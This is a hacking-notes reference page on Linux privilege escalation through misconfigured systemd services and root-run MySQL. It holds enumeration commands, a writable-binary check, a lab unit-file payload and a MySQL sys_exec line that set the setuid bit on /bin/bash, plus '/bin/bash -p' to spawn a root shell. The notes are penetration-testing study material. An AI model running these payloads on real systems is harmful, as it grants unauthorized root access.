> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/services.md).

# Services and Systemd

Linux service privilege escalation notes for writable systemd unit files, writable service binaries, root-owned services, and unsafe service configuration.

Service misconfigurations become privilege escalation paths when a low-privileged user can edit a service file, replace a service binary, control service arguments, or write into a directory used by a root-running daemon.

## Methodology

* Identify services running as root.
* Check unit files, `ExecStart` binaries, environment files, and working directories.
* Look for writable service files or writable binaries used by enabled services.
* Confirm whether you can restart the service, trigger it indirectly, or wait for a reboot/timer.

## Quick Checks

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Writable Service Files

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Writable Service Binaries

This loop checks enabled services and highlights `ExecStart` paths that do not look root-owned. Treat the output as triage, then validate manually.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Exploitation Ideas

| Condition                             | Abuse Path                                                                  |
| ------------------------------------- | --------------------------------------------------------------------------- |
| Writable `ExecStart` binary           | Replace binary with a payload, then restart or wait for service execution.  |
| Writable unit file                    | Change `ExecStart` to run a controlled command.                             |
| Writable environment file             | Inject options or paths consumed by the service.                            |
| Writable working directory            | Abuse relative paths, plugins, logs, sockets, or temp files.                |
| Service runs as root and parses files | Check parser bugs, command injection, unsafe includes, and writable config. |

Example unit payload for a lab:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Reload and start only when you have permission or a confirmed authorized test path:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL Running As Root

If MySQL or MariaDB runs as root and dangerous UDF/function execution is available, it may become a direct root path.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Inside MySQL, depending on available plugins/functions:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Then:

```bash
/bin/bash -p
```

This is highly environment-dependent. Confirm the daemon user, plugin availability, and exact database privileges before relying on it.


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